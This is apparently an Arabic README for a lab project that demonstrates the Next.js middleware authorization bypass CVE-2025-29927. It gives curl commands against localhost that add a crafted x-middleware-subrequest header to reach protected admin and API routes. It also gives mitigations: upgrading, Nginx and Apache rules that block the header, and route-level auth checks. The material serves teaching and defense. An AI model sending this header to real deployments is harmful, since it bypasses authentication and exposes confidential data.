
عرض توضيحي لثغرة تجاوز التصريح في Middleware في Next.js (CVE-2025-29927) والتي تسمح للمستخدمين غير المصرح لهم بالوصول إلى المعلومات المحمية.
يقدم هذا المستودع مشروعًا نموذجيًا يوضح ثغرة تجاوز التفويض في Middleware في Next.js (CVE-2025-29927). تسمح هذه الثغرة للمستخدمين غير المصرح لهم بالوصول إلى الموارد المحمية.
CVE-2025-29927 هي ثغرة أمنية خطيرة (تقييم CVSS: 9.1) تؤثر على نظام middleware في Next.js. يمكن للمهاجم تجاوز فحوصات الأمان في middleware بالكامل عن طريق إضافة رأس x-middleware-subrequest مخصص في طلب HTTP.
/admin) دون مصادقة/api/confidential)npm install لتثبيت التبعياتnpm run dev لبدء خادم تطوير Next.jshttp://localhost:3000 في المتصفح لمشاهدة واجهة الموقع الحاليةيستخدم Next.js رأسًا داخليًا x-middleware-subrequest لمنع الاستدعاءات المتكررة في middleware والتي قد تسبب حلقات لا نهائية. ومع ذلك، يمكن استغلال هذا الرأس من الطلبات الخارجية. عندما يحتوي الطلب على هذا الرأس ويصل إلى أقصى عمق للتكرار (MAX_RECURSION_DEPTH)، يتجاوز Next.js تنفيذ middleware بالكامل.
أولاً، حاول الوصول بشكل طبيعي إلى المسار المحمي:
# الوصول إلى صفحة المسؤول المحمية
curl http://localhost:3000/admin/dashboard -v
النتيجة المتوقعة: سيتم إعادة التوجيه إلى صفحة تسجيل الدخول (302 redirect to /login)
# الوصول إلى API المحمي
curl http://localhost:3000/api/confidential -v
النتيجة المتوقعة: إرجاع خطأ 401 Unauthorized
الآن، استخدم الرأس المخصص لتجاوز middleware:
# تجاوز حماية مسار /admin
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
النتيجة المتوقعة: الوصول الناجح إلى محتوى صفحة المسؤول (200 OK)
# تجاوز حماية /api/confidential
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
النتيجة المتوقعة: الوصول الناجح إلى API والحصول على المعلومات السرية (200 OK)
يمكنك أيضًا استخدام أدوات المطور في المتصفح للاختبار:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardعندما يتلقى middleware طلبًا يحتوي على رأس x-middleware-subrequest:
قم بالترقية إلى الإصدارات التي تم إصلاحها:
إذا تعذر الترقية فورًا، يمكن حظر الطلبات التي تحتوي على رأس x-middleware-subrequest على مستوى الوكيل العكسي (Nginx، Apache، إلخ):
مثال تكوين Nginx:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
مثال تكوين Apache:
RequestHeader unset x-middleware-subrequest
بالإضافة إلى middleware، قم بتنفيذ فحوصات المصادقة في معالجات المسارات:
// إضافة فحص مصادقة إضافي في مسار API
export async function GET(request) {
// لا تعتمد فقط على middleware، تحقق من المصادقة هنا أيضًا
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... معالجة الطلب
}